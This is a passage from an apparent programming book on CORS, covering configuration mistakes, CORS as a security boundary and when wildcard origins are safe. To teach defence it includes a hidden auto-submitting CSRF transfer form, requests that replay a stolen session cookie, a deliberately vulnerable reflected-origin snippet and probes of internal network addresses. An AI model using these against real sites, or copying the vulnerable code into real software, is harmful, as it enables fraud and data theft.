The cause: Subtle typos that are hard to spot:

# These are all WRONG:
https://myapp.com/          # trailing slash
http://myapp.com            # wrong scheme (http vs https)
https://myapp.com:443       # explicit default port (origin doesn't include it)
https://www.myapp.com       # www subdomain
https://myApp.com           # wrong case (origins are case-sensitive in the scheme
                            # and host, though browsers lowercase the host)

The fix: An origin is exactly: scheme://host[:port]. No path. No trailing slash. No query string. The port is only included if it's non-default (not 80 for http, not 443 for https).

# See exactly what origin the browser sends:
# In DevTools Network tab, click the request, look at Request Headers for "Origin"
# It will be something like: Origin: https://myapp.com

# Test your server with that exact value:
curl -v -H "Origin: https://myapp.com" https://api.example.com/data

Why it happens: Origins look like URLs but they're not. URLs have paths and query strings. Origins don't. It's easy to copy a URL from the address bar and paste it into your CORS config without trimming it down to just the origin portion.

Mistake #8: Allowing localhost in Production

The symptom: No error message per se, but a security review (or a penetration tester) flags that your production API's CORS config includes http://localhost:3000.

The cause: During development, you added localhost to your allowed origins. Then you deployed to production without removing it.

The fix: Use environment-specific CORS configuration:

const allowedOrigins = process.env.NODE_ENV === 'production'
  ? ['https://myapp.com', 'https://admin.myapp.com']
  : ['http://localhost:3000', 'http://localhost:5173'];

Why it happens: Development. You needed it to work locally, you added it, you forgot to remove it. It doesn't cause any errors, so there's no signal that it's still there.

Why it matters: If your API uses cookies or other ambient credentials, allowing http://localhost:3000 means that if an attacker can trick a user into running a local server on port 3000 (or if the user is a developer who happens to have something running there), that local page could make credentialed requests to your production API. Is this a likely attack? Not very. Is it something a pen tester will flag? Every single time.

Also note: it's http, not https. Localhost over plain HTTP is a different origin than localhost over HTTPS. And neither belongs in a production CORS config.

Mistake #9: Not Exposing Custom Response Headers

The symptom: Your API returns custom response headers (like X-Request-ID, X-RateLimit-Remaining, or Link), and they show up in DevTools, but response.headers.get('X-Request-ID') returns null in your JavaScript.

The cause: By default, CORS only exposes these "simple" response headers to JavaScript:

  • Cache-Control
  • Content-Language
  • Content-Length
  • Content-Type
  • Expires
  • Last-Modified
  • Pragma

Everything else is hidden unless the server explicitly exposes it.

The fix:

Access-Control-Expose-Headers: X-Request-ID, X-RateLimit-Remaining, Link

Why it happens: The CORS spec defaults to exposing only "safe" response headers. Custom headers might contain sensitive information that the server doesn't want arbitrary cross-origin pages to read. So the server has to opt in to exposing each one.

This is particularly maddening because you can see the headers in DevTools. They're right there. But DevTools isn't subject to CORS — it's a browser developer tool, not a web page. Your JavaScript code is subject to CORS, so it can't see them without Access-Control-Expose-Headers.

Mistake #10: Confusing CORS with Content Security Policy

The symptom: You've added Access-Control-Allow-Origin and CORS is working, but requests are still being blocked. Or you've added CSP headers and think that handles CORS too.

The cause: CORS and CSP are two completely different mechanisms that happen to both involve HTTP headers and cross-origin resource loading.

CORSCSP
DirectionControls who can read your server's responsesControls what your page can load
Who sets itThe server being accessedThe server that served the HTML page
Enforced byBrowser, on the responseBrowser, on the page
HeaderAccess-Control-Allow-OriginContent-Security-Policy
ProtectsThe server's data from unauthorized readingThe page's users from injected content

The fix: Understand which one you need:

  • If your frontend can't read a response from another origin → That's CORS. Fix it on the API server.
  • If your frontend can't load a script, image, or connect to an API → That might be CSP. Check the Content-Security-Policy header on your frontend's server.
# This is CSP (on your frontend's server):
Content-Security-Policy: connect-src 'self' https://api.example.com;

# This is CORS (on the API server):
Access-Control-Allow-Origin: https://myapp.com

Why it happens: Both are security mechanisms, both involve cross-origin resources, both produce console errors. It's natural to confuse them. But they solve different problems and are configured in different places.

Mistake #11: Using a CORS Proxy in Production

The symptom: Your development setup routes API requests through https://cors-anywhere.herokuapp.com/ or a similar CORS proxy service, and you've deployed this to production.

The cause: In development, you hit a CORS error. You searched Stack Overflow. Someone suggested a CORS proxy. It worked. You shipped it.

The fix: Remove the CORS proxy and configure CORS properly on the actual server. If you don't control the server, talk to whoever does. If it's a third-party API that doesn't support CORS, make the request from your backend server (server-to-server requests don't have CORS restrictions) and expose it through your own API.

// WRONG: proxying through a third-party service in production
fetch('https://cors-anywhere.herokuapp.com/https://api.example.com/data')

// RIGHT: call your own backend, which calls the third-party API server-side
fetch('https://myapp.com/api/proxy/data')

Why it happens: CORS proxies are a legitimate development tool. They work by receiving your request, making the same request to the actual server (server-to-server, no CORS), and forwarding the response back with permissive CORS headers added.

The problem with using them in production:

  1. Security: You're routing all your API traffic (including auth tokens, user data, everything) through a third party's server. They can read and log everything.
  2. Reliability: Free CORS proxy services have rate limits, downtime, and no SLA. cors-anywhere has been rate-limited for years.
  3. Performance: You're adding an extra network hop to every request.
  4. Professionalism: If someone inspects your network traffic and sees cors-anywhere in the URLs, they will draw conclusions.

Mistake #12: Setting CORS Headers in Frontend Code

The symptom: You've added headers to your fetch() call and CORS still doesn't work:

// This does absolutely nothing useful for CORS
fetch('https://api.example.com/data', {
  headers: {
    'Access-Control-Allow-Origin': '*',              // NO
    'Access-Control-Allow-Methods': 'GET, POST',     // NO
    'Access-Control-Allow-Headers': 'Content-Type',  // NO
  }
});

The cause: A fundamental misunderstanding of which side of the HTTP exchange is responsible for CORS.

The fix: Remove all Access-Control-* headers from your frontend code. These headers must be set by the server in its response. Your frontend sends a request. The server sends a response with CORS headers. The browser reads those headers and decides whether to allow your JavaScript to see the response.

Setting these headers in your request doesn't just do nothing — it actually makes things worse. Access-Control-Allow-Origin is not a CORS-safelisted request header, so adding it to your request will trigger a preflight request that wouldn't have happened otherwise. You're creating a new CORS problem while trying to solve one that doesn't exist on the frontend.

Why it happens: The header names are confusing. Access-Control-Allow-Origin sounds like it should go on the request — "I'm allowing access from this origin." But it's a response header — the server is saying "I allow this origin to read my response." CORS is a server-side configuration that's enforced client-side. The frontend's role is to make the request; the server's role is to say whether that request is allowed.

Think of it like a bouncer at a club. You (the browser) ask "can this person (the frontend's JavaScript) come in?" The bouncer (the server) says yes or no. You don't get to write yourself a permission slip.

Quick Reference: Error → Mistake → Fix

Error message (Chrome)Likely mistakeSection
No 'Access-Control-Allow-Origin' header#1, #4Missing header or error responses
Must not be the wildcard '*' when credentials...#2Wildcard with credentials
Preflight request doesn't pass#3OPTIONS not handled
Method X is not allowed#3Method not in allow list
Request header field X is not allowed#3, #9Header not in allow list
Multiple values but only one is allowed#5Duplicate headers
Does not match#7Origin typo
No error, but header value is null#9Not exposed
Blocked by CSP#10Wrong mechanism entirely
Works in Postman, not in browser#1, #12Missing server config

If your issue isn't in this chapter, go back to Chapter 19's decision tree. If it's still not clear, check whether you're actually dealing with a CORS issue at all — network errors, DNS failures, and blocked mixed content can all masquerade as CORS problems if you're not careful.

CORS as a Security Boundary

This is the chapter where we talk about what CORS actually protects, what it doesn't protect, and why a disturbing number of production applications have CORS configurations that might as well not exist. If the previous chapters were about making CORS work, this one is about making sure your working CORS configuration isn't a security hole.

What CORS Protects Against

Let's start with the fundamental model. CORS protects against one specific threat:

A malicious website reading data from a legitimate service using the user's ambient credentials (cookies, HTTP auth, client certificates).

Here's the attack scenario without CORS:

  1. You're logged into https://mybank.com. You have a session cookie.
  2. You visit https://evil.example.com.
  3. Evil's JavaScript makes a fetch() to https://mybank.com/api/accounts.
  4. The browser attaches your mybank.com session cookie automatically.
  5. The bank's API returns your account data.
  6. Evil's JavaScript reads the response and sends your data to the attacker.

The Same-Origin Policy (and CORS as its controlled relaxation) prevents step 6. The browser will not let evil.example.com's JavaScript read the response from mybank.com unless mybank.com explicitly allows it via CORS headers.

Note something important: the request in step 4 still happens. The bank's server still receives it, processes it, and sends a response. CORS doesn't prevent the request. It prevents the reading of the response. This distinction matters enormously for security.

CORS Is Not a Server-Side Security Mechanism

I need to say this clearly because it's the single most dangerous misconception about CORS:

CORS is enforced by the browser. Only by the browser. Exclusively by the browser.

Your server sends CORS headers. It's the browser that reads them and decides whether to let JavaScript access the response. If something other than a browser makes the request, CORS headers are just... headers. They have no enforcement power.

# This ignores CORS entirely because curl is not a browser
curl -H "Cookie: session=stolen_value" https://mybank.com/api/accounts
# The response comes back. Full data. No CORS check.
# This ignores CORS entirely because requests is not a browser
import requests
resp = requests.get('https://mybank.com/api/accounts',
                    cookies={'session': 'stolen_value'})
print(resp.json())  # Full data. No CORS check.

This means:

  • CORS does not protect your API from server-to-server attacks
  • CORS does not protect your API from command-line tools
  • CORS does not protect your API from mobile apps (they don't have CORS)
  • CORS does not protect your API from browser extensions with elevated permissions
  • CORS does not replace authentication
  • CORS does not replace authorization
  • CORS does not replace rate limiting
  • CORS does not replace input validation

If you're relying on your CORS configuration as a security boundary to prevent unauthorized access to your API, you have a serious problem. CORS only protects against cross-origin reads from browsers. That's a specific and important threat vector, but it's not the only one.

The "CORS Is Not a Firewall" Principle

I see this pattern constantly:

"We don't need API authentication because we've restricted CORS to only allow requests from our frontend domain."

No. No no no no no.

Your CORS configuration says: "Browsers should only allow JavaScript from https://myapp.com to read responses from this API." It does not say: "Only https://myapp.com can access this API."

Anyone with curl, Postman, a Python script, or the ability to write a server-side proxy can access your API directly. Your CORS configuration is a polite request to browsers, not a firewall rule.

Here's a useful mental model: imagine your CORS configuration printed on a sign outside your building that says "Only employees may enter." That sign is respected by well-behaved visitors (browsers). But it doesn't lock the door. Anyone who wants to ignore the sign can walk right in. You still need a lock (authentication) and someone checking IDs (authorization).

CORS Does NOT Replace Authentication or Authorization

This bears repeating in its own section. Your API needs proper auth regardless of your CORS configuration:

# Without authentication, your CORS config is just cosmetic:
#
# Attacker's server → your API: no CORS, full access
# Attacker's browser → your API: CORS blocks the response
# Attacker's server → your API → attacker's browser: CORS bypassed
#
# The attacker just adds one extra hop. That's it.

The only scenario where CORS provides meaningful protection is when the user's own credentials are the thing being exploited. If the attacker can make the request themselves (without needing the victim's browser to attach cookies), CORS is irrelevant.

Reflected Origin Attacks

Here's where things get genuinely scary. A common CORS implementation pattern is to echo back whatever Origin header the request sends:

# DANGEROUS: DO NOT DO THIS
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'

"But wait," you might say, "this is functionally equivalent to Access-Control-Allow-Origin: * with credentials, which isn't allowed."

It's actually worse. Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is rejected by browsers — the spec explicitly forbids it. But echoing back the specific origin passes the browser's CORS check. The browser sees a matching origin and credentials: true and says "looks good to me!"

This means:

  1. User is logged into https://myapp.com
  2. User visits https://evil.example.com
  3. Evil sends a request to https://api.myapp.com/user/data
  4. The request includes Origin: https://evil.example.com
  5. Your server echoes back Access-Control-Allow-Origin: https://evil.example.com and Access-Control-Allow-Credentials: true
  6. The browser says "the server explicitly allowed this origin with credentials, so I'll attach the cookies and let JavaScript read the response"
  7. Evil reads the user's data

Congratulations, you've built an API that explicitly tells browsers "yes, anyone who asks can read my users' data using their cookies." You've essentially opted out of the Same-Origin Policy entirely.

The fix: Validate the origin against an allowlist:

ALLOWED_ORIGINS = {
    'https://myapp.com',
    'https://admin.myapp.com',
}

origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    response.headers['Vary'] = 'Origin'
# If origin is not in the list, don't set CORS headers at all.
# The browser will block the cross-origin read, which is what we want.

Some developers try to be clever with regex:

# ALSO DANGEROUS: regex can be tricked
import re
if re.match(r'https://.*\.example\.com', origin):
    # This matches https://evil.example.com — maybe fine
    # But also https://evil-example.com if you forget to escape the dot
    # And also https://foo.example.com.evil.com depending on your regex

Use an exact match against a set of known origins. If you need subdomain matching, parse the origin properly and validate the domain with proper suffix matching, not regex.

Origin Header Spoofing

"But can't an attacker just set the Origin header to whatever they want?"

In a browser: no. The Origin header is set by the browser itself and cannot be modified by JavaScript. It's a "forbidden" request header. You can't do this:

// This does NOT work. The browser will ignore your Origin header.
fetch('https://api.example.com/data', {
  headers: {
    'Origin': 'https://trusted-site.com'  // Browser says: nice try
  }
});

The browser always sends the real origin. This is what makes CORS meaningful.

Outside a browser: yes, trivially. curl, Postman, Python, anything that isn't a browser can set Origin to whatever it wants:

# This works fine. curl doesn't care about your feelings.
curl -H "Origin: https://trusted-site.com" https://api.example.com/data

But this doesn't break the CORS security model, because the threat model is specifically about protecting browser users. If the attacker is already making requests from their own machine (not a browser), they don't need to spoof the origin — they can just make the request directly. The origin only matters when the browser is the one making the request on behalf of JavaScript from an untrusted page.

Private Network Access

There's a relatively new security boundary being added to browsers that extends the CORS model: the Private Network Access specification (formerly known as CORS-RFC1918).

The problem it solves: a public website's JavaScript can currently make requests to your local network resources:

// From https://evil.example.com, this currently works in many browsers:
fetch('http://192.168.1.1/admin/api/config')
fetch('http://localhost:8080/debug/pprof')
fetch('http://printer.local/status')

If those internal services don't have authentication (and many don't — they're "internal," after all), a public website can interact with them using the user's network access as an ambient credential.

Private Network Access adds a new preflight check: before a public website can make a request to a private IP address (RFC 1918 ranges, localhost, link-local), the browser sends a preflight with:

Access-Control-Request-Private-Network: true

The server must respond with:

Access-Control-Allow-Private-Network: true

If it doesn't, the browser blocks the request. This is being rolled out gradually in Chrome and other Chromium-based browsers. It's not fully deployed everywhere yet, but it's coming, and if you maintain internal tools or IoT device interfaces, you should be aware of it.

# Test if your local service handles private network access preflights:
curl -v -X OPTIONS \
  -H "Origin: https://evil.example.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Private-Network: true" \
  http://localhost:8080/api/data

CORS and CSRF (Cross-Site Request Forgery) are often confused because they both involve cross-origin requests. But they protect against different aspects of the same attack.

CSRF is about preventing a malicious site from causing side effects on another site using the user's credentials. The classic example: a hidden form that submits a POST to your bank's transfer endpoint.

CORS is about preventing a malicious site from reading data from another site using the user's credentials.

CSRFCORS
AttackMake the server do somethingRead what the server returns
ConcernState-changing requests (POST, PUT, DELETE)Response data
DefenseCSRF tokens, SameSite cookiesCORS headers
Key insightThe request itself is the attackThe response is the target

Here's the critical nuance: CORS does not prevent CSRF. Remember, CORS doesn't stop the request from being sent — it stops the response from being read. A CSRF attack that submits a form to transfer money doesn't need to read the response. It just needs the request to reach the server with the user's cookies attached.

<!-- This CSRF attack works regardless of CORS configuration -->
<form action="https://bank.com/api/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
  <input type="submit" />
</form>
<script>document.forms[0].submit();</script>

The browser will submit this form, attach the user's bank.com cookies, and the server will process the transfer. CORS doesn't apply to form submissions (they're not JavaScript-initiated cross-origin reads). You need CSRF protection (tokens, SameSite cookies) to prevent this.

However, CORS can provide partial CSRF protection for API endpoints that:

  1. Require a Content-Type: application/json header (which triggers a preflight)
  2. Don't respond to the preflight with permissive CORS headers

If the preflight fails, the browser won't send the actual request. But relying on this is fragile — it depends on the request being "non-simple" enough to trigger a preflight. Use proper CSRF protection. Don't rely on CORS for it.

Security Checklist for CORS Configuration

Use this checklist when reviewing your CORS configuration:

Origin validation

  • Do NOT blindly echo the Origin header back as Access-Control-Allow-Origin
  • Validate Origin against an explicit allowlist of known origins
  • Use exact string matching, not regex (or use very carefully anchored regex)
  • Don't include null as an allowed origin (sandboxed iframes and redirects send Origin: null, and allowing it defeats the purpose)
  • Don't include localhost or development origins in production configs

Credentials

  • Only set Access-Control-Allow-Credentials: true if the endpoint actually needs cookies/auth from cross-origin requests
  • If you set credentials: true, you MUST NOT use wildcard * for origin, headers, or methods
  • Verify that the combination of credentials + allowed origin doesn't expose user data to unauthorized origins

Headers and methods

  • Only allow the HTTP methods your API actually uses
  • Only allow the request headers your API actually needs
  • Only expose the response headers your frontend actually reads
  • Don't use wildcard * for methods and headers if credentials are involved

Caching and Vary

  • Include Vary: Origin on every response that dynamically sets Access-Control-Allow-Origin
  • Set a reasonable Access-Control-Max-Age (don't cache forever, but don't force a preflight on every request either)
  • Verify that CDN/proxy caching respects Vary: Origin

Error responses

  • CORS headers are present on 4xx and 5xx responses, not just 2xx
  • CORS headers are present on redirect (3xx) responses if applicable

Architecture

  • Only one layer of your stack adds CORS headers (not both proxy and application)
  • CORS configuration is environment-specific (different origins for staging and production)
  • CORS configuration is reviewed as part of security reviews

The Principle of Least Privilege

Apply the same principle to CORS that you apply to everything else in security: only allow what you need.

  • Don't allow all origins when you know exactly which origins need access.
  • Don't allow all methods when your API only uses GET and POST.
  • Don't allow all headers when your client only sends Authorization and Content-Type.
  • Don't expose all response headers when your client only reads X-Request-ID.
  • Don't enable credentials when your cross-origin endpoint doesn't use cookies.
  • Don't set Access-Control-Max-Age to a year. A day or an hour is usually enough.

Every "allow" in your CORS configuration is an explicit decision to relax the Same-Origin Policy. Make each one deliberately. When you're not sure whether to allow something, don't. You'll find out quickly if it was needed, and it's much better to start restrictive and open up than to start permissive and try to lock down later.

# Principle of least privilege applied to CORS:
Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Expose-Headers: X-Request-ID
Access-Control-Max-Age: 3600
Vary: Origin

# NOT this:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 31536000

The first configuration says "I've thought about what my frontend needs and allowed exactly that." The second says "I was tired and wanted to go home." The first one is correct. The second one will be the subject of a security incident report at some point. Not today, maybe not tomorrow, but eventually.

When Access-Control-Allow-Origin: * Is Actually Fine

The asterisk. The wildcard. The star. The character that makes security-conscious developers break out in hives.

I'm here to tell you that Access-Control-Allow-Origin: * is a perfectly legitimate, spec-compliant, and appropriate CORS configuration for a wide range of use cases. It's been unfairly maligned by Stack Overflow answers, security scanners that don't understand context, and that one coworker who read half a blog post about CORS and now treats * like it's rm -rf /.

Let's talk about when it's fine, when it's not, and how to tell the difference.

The Asterisk Has Been Unfairly Maligned

Here's a sample of advice you'll find on the internet:

"Never use Access-Control-Allow-Origin: * in production!"

"The wildcard is a security vulnerability!"

"Always specify explicit origins!"

This advice is well-intentioned and, in many cases, wrong. Or rather, it's advice that's correct for some situations applied as if it's correct for all situations. It's the CORS equivalent of "never use SELECT *" — a reasonable heuristic that becomes cargo cult when applied without understanding.

The wildcard * means: "any origin may read this response." That's a security problem when the response is different depending on who's asking — specifically, when the server uses ambient credentials (cookies, HTTP auth) to personalize the response. But many, many endpoints don't do that. For those endpoints, * is not just fine — it's the correct choice.

When * Is Perfectly Appropriate

Public APIs with no authentication

If your API endpoint:

  • Doesn't use cookies
  • Doesn't use HTTP authentication
  • Doesn't check the Authorization header
  • Returns the same response to every requester

Then Access-Control-Allow-Origin: * is correct.

# A public API that returns weather data
curl -v https://api.weather.example.com/current?city=london

# Response:
# HTTP/2 200
# Access-Control-Allow-Origin: *
# Content-Type: application/json
#
# {"temp": 12, "conditions": "overcast", "unit": "celsius"}

This endpoint returns the same weather data regardless of who asks. There are no cookies, no sessions, no user-specific data. Restricting it to specific origins would be pure security theater — adding complexity and operational burden for zero security benefit.

Consider: if an attacker wanted this data, they'd just call the API from their server. CORS doesn't apply to server-to-server requests. The only thing restricting the origin would do is prevent other websites' frontend JavaScript from accessing your public data. Why would you want that? If the API is public, let it be public.

Open data endpoints

Government data portals, open datasets, public statistics — all of these serve the same data to everyone. There's no ambient authority involved.

# Good. Correct. Nothing to worry about.
Access-Control-Allow-Origin: *

Examples of real-world APIs that correctly use *:

  • OpenStreetMap tile servers
  • Public government APIs (data.gov, etc.)
  • Wikipedia's API
  • npm's registry API
  • Public blockchain APIs

These are some of the highest-traffic APIs on the internet. They all use *. They're not wrong.

CDN-served static assets

CSS files, JavaScript bundles, fonts, images — if they're served from a CDN and intended to be used by any website, * is correct.

# Serving fonts from a CDN
GET /fonts/opensans.woff2 HTTP/2
Host: cdn.example.com

HTTP/2 200
Access-Control-Allow-Origin: *
Content-Type: font/woff2
Cache-Control: public, max-age=31536000

In fact, for fonts specifically, * is almost always what you want. Web fonts loaded via @font-face are subject to CORS checks. If you're hosting fonts on a CDN for others to use, restricting the origin means only specific sites can use your fonts. That defeats the purpose of putting them on a CDN.

Public documentation APIs

Swagger/OpenAPI endpoints, API documentation, health check endpoints — all public, all stateless, all safe with *.

# Health check endpoint. No secrets here.
GET /health HTTP/1.1
Host: api.example.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json

{"status": "ok", "version": "2.3.1"}

Any endpoint where the response is truly public

The general rule: if you'd be comfortable with the response being cached by Google, displayed on a billboard, or printed in a newspaper, * is fine. If the response is public information, letting any origin read it doesn't change anything.

When * Is NOT Appropriate

Now let's talk about when * will get you into trouble.

Any endpoint that uses cookies or session authentication

If your endpoint reads cookies to determine who the user is, * is wrong. Not because * itself is dangerous in this case, but because the natural next step is almost always a mistake.

Here's the progression:

  1. Developer sets Access-Control-Allow-Origin: *
  2. Frontend sends credentials: 'include'
  3. Browser refuses (can't use * with credentials)
  4. Developer "fixes" it by echoing the origin blindly

And now you have the reflected origin vulnerability from Chapter 21. The * itself wasn't the security hole — but it was the first step on a path that leads to one.

If your endpoint uses cookies, you need to:

  1. Validate the origin against an allowlist
  2. Echo back the validated origin
  3. Set Access-Control-Allow-Credentials: true
  4. Include Vary: Origin
# Correct for a cookie-authenticated endpoint:
Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Credentials: true
Vary: Origin

Any endpoint that relies on the Origin for access control

If your server checks the Origin header to decide whether to allow a request (which, as discussed in Chapter 21, is fragile), * obviously doesn't work because you're not checking the origin at all.

Internal APIs

APIs meant for internal use — between microservices, internal tools, admin panels — should not have Access-Control-Allow-Origin: *. Not because * is dangerous per se (internal APIs should have authentication regardless), but because:

  1. Internal APIs should not be accessible from arbitrary web pages
  2. If an internal API has no auth (which it shouldn't, but many do), * would let any website interact with it from the user's browser
  3. The principle of least privilege says: don't allow access you don't intend to grant

For internal APIs, either don't set CORS headers at all (blocking all cross-origin browser access) or allow only the specific internal origins that need access.

Any endpoint that uses Authorization headers

If your API requires an Authorization: Bearer <token> header, * is technically fine as long as the token isn't sent via cookies. The token comes from JavaScript code that explicitly adds it, not from the browser automatically attaching credentials.

However, I'd still recommend explicit origins here, because:

  • It signals to other developers that you've thought about security
  • It limits the blast radius if there's a token leakage
  • It's no harder to configure than *

The Real Question: Does Your Endpoint Use Ambient Authority?

Here's the framework that actually matters. Forget the specific rules about cookies and credentials modes for a moment. Ask yourself one question:

Does the browser automatically attach anything to the request that changes the response?

"Ambient authority" means credentials that the browser sends without the JavaScript code explicitly adding them:

  • Cookies: The browser attaches them automatically based on the domain.
  • HTTP authentication: The browser sends cached credentials automatically.
  • Client certificates: The browser presents them automatically during TLS.

If the answer is "yes, the browser attaches something that gives the request access it wouldn't otherwise have," then * is inappropriate. You need explicit origin validation with credentials.

If the answer is "no, the request is the same regardless of which browser or which page sends it," then * is fine. The data is publicly accessible, and CORS is not adding any meaningful security boundary.

# Decision tree in pseudocode:
if endpoint_uses_cookies or endpoint_uses_http_auth:
    use explicit_origin_allowlist
    set Access-Control-Allow-Credentials: true
elif endpoint_requires_bearer_token:
    # Token is in header, not ambient. * works but explicit is better.
    prefer explicit_origin_allowlist
    # * is acceptable if the API is intended to be public
else:
    # No auth, same response for everyone
    use Access-Control-Allow-Origin: *

If the Response Is the Same Regardless of Who's Asking

Let me make this concrete. Consider two endpoints:

Endpoint A: Public stock price

curl https://api.example.com/stock/AAPL
# {"symbol": "AAPL", "price": 187.42, "currency": "USD"}

# Same response whether it's your browser, my browser, or curl.
# No cookies needed. No auth needed. Public data.
# Access-Control-Allow-Origin: * is correct.

Endpoint B: User's portfolio

curl -H "Cookie: session=abc123" https://api.example.com/portfolio
# {"holdings": [{"symbol": "AAPL", "shares": 100}, ...]}

# Response depends on the session cookie. Different user, different data.
# The browser attaches this cookie automatically.
# Access-Control-Allow-Origin: * is WRONG (and won't work with credentials anyway).

See the difference? It's not about whether * is inherently good or bad. It's about whether the security boundary that * removes was doing anything useful.

If the Response Depends on Ambient Credentials, * Is Dangerous

Let's be specific about why it's dangerous. With *, the browser won't send cookies cross-origin (because credentials: 'include' is incompatible with *). So you might think: "well, * is safe because the browser won't send cookies anyway."

That's technically true — but it creates a false sense of security. Someone will eventually change the CORS config to support credentials (because a new feature requires it), and they'll do it wrong (see Chapter 21, reflected origin attacks). Starting with * on an authenticated endpoint is planting a landmine for your future colleagues.

Also, there are edge cases where * on an authenticated API can leak information:

  1. If the endpoint returns different data based on the Authorization header (which JavaScript explicitly sets, not the browser), * means any page can use a stolen token to read data. Explicit origin restriction doesn't prevent this entirely, but it reduces the attack surface.

  2. If the endpoint returns different data based on the client's IP address (some internal APIs do this), * lets any website use the user's IP-based access from their browser.

Stop Blindly Restricting to Specific Origins When Your API Is Public

Here's the practical problem with over-restriction:

// Your public API in production
const allowedOrigins = [
  'https://myapp.com',
  'https://admin.myapp.com',
  'https://staging.myapp.com',
];

Now a third-party developer wants to use your public API from their frontend. They can't. They get a CORS error. They email your support team. Your support team asks your backend team to add their origin. The backend team adds it, deploys, and tells the third-party developer it works now.

Next week, another developer emails. And another. And another.

Meanwhile, any of these developers could have just called your API from their backend and it would have worked immediately, because CORS doesn't apply to server-to-server requests. The origin restriction isn't providing security — it's providing paperwork.

If your API is public and documented and intended for third-party use, use *. Make it easy for people to use your API. That's the whole point of having a public API.

Conversely, if your API is private and not intended for third-party use, origin restriction alone isn't enough anyway. You need authentication. And if you have authentication, the CORS origin restriction is just an additional layer, not the primary defense.

A Decision Framework: To Wildcard or Not to Wildcard

Walk through these questions in order:

1. Does the endpoint use cookies, HTTP auth, or client certificates?

  • Yes → Do NOT use *. Use explicit origin allowlist with Access-Control-Allow-Credentials: true.
  • No → Continue to question 2.

2. Does the endpoint return different data based on who's asking?

  • Yes (e.g., based on IP, network location) → Prefer explicit origins.
  • No → Continue to question 3.

3. Is the data meant to be public?

  • Yes → Use *. Seriously, just use it.
  • No → Use explicit origin allowlist.

4. Is the API intended for third-party frontend use?

  • Yes → Use * (assuming no ambient auth from questions 1-2).
  • No → Use explicit origins for your known frontends.

5. Would restricting the origin provide any actual security benefit?

  • Yes → Use explicit origins.
  • No → Use * and save yourself the maintenance burden.
# Quick verification: is * appropriate for this endpoint?
# Test 1: Does the response change with cookies?
curl https://api.example.com/endpoint
curl -H "Cookie: session=test" https://api.example.com/endpoint
# If both responses are identical, cookies don't matter.

# Test 2: Does the endpoint require auth?
curl https://api.example.com/endpoint
# If you get a 401, it requires auth.
# If you get actual data, it's public.

# Test 3: Does the response change based on origin?
curl -H "Origin: https://a.com" https://api.example.com/endpoint
curl -H "Origin: https://b.com" https://api.example.com/endpoint
# If both return the same data, origin doesn't matter.

Closing Thoughts: CORS Is Your Friend, Not Your Enemy

After twenty-two chapters, I want to leave you with a perspective shift.

CORS is not a punishment. It's not an obstacle. It's not a bug in the browser. It is a controlled relaxation of the Same-Origin Policy — a mechanism that lets you open up access to your resources in a precise, granular way.

Before CORS existed, you had two options:

  1. Same-origin only — no cross-origin access at all
  2. JSONP — terrifying, hacky, insecure cross-origin access with zero controls

CORS gave us a middle ground: cross-origin access with explicit server consent, method and header restrictions, credential controls, and caching. It's one of the most well-designed security specifications in the web platform.

The fact that CORS is confusing is not because it's badly designed. It's because the problem it solves — allowing controlled cross-origin access in a platform where billions of users visit untrusted websites that run untrusted JavaScript — is inherently complex. The spec makes tradeoffs, and those tradeoffs have corner cases, and those corner cases produce confusing error messages.

But now you understand it. You know what the Same-Origin Policy protects. You know why preflights exist. You know the difference between simple and non-simple requests. You know every CORS header and what it does. You can read CORS errors like a human. You know the common mistakes and how to avoid them. You understand the security implications. And you know when * is fine.

The next time a coworker comes to you with a CORS error, you won't panic. You'll open the Network tab, find the preflight, check the response headers, and know exactly what to fix. You might even explain it to them.

And maybe, just maybe, you'll pass them this book so they can figure it out next time themselves. I'd like that. I'm tired of fixing everyone's CORS issues.

But I'll always be patient enough to explain.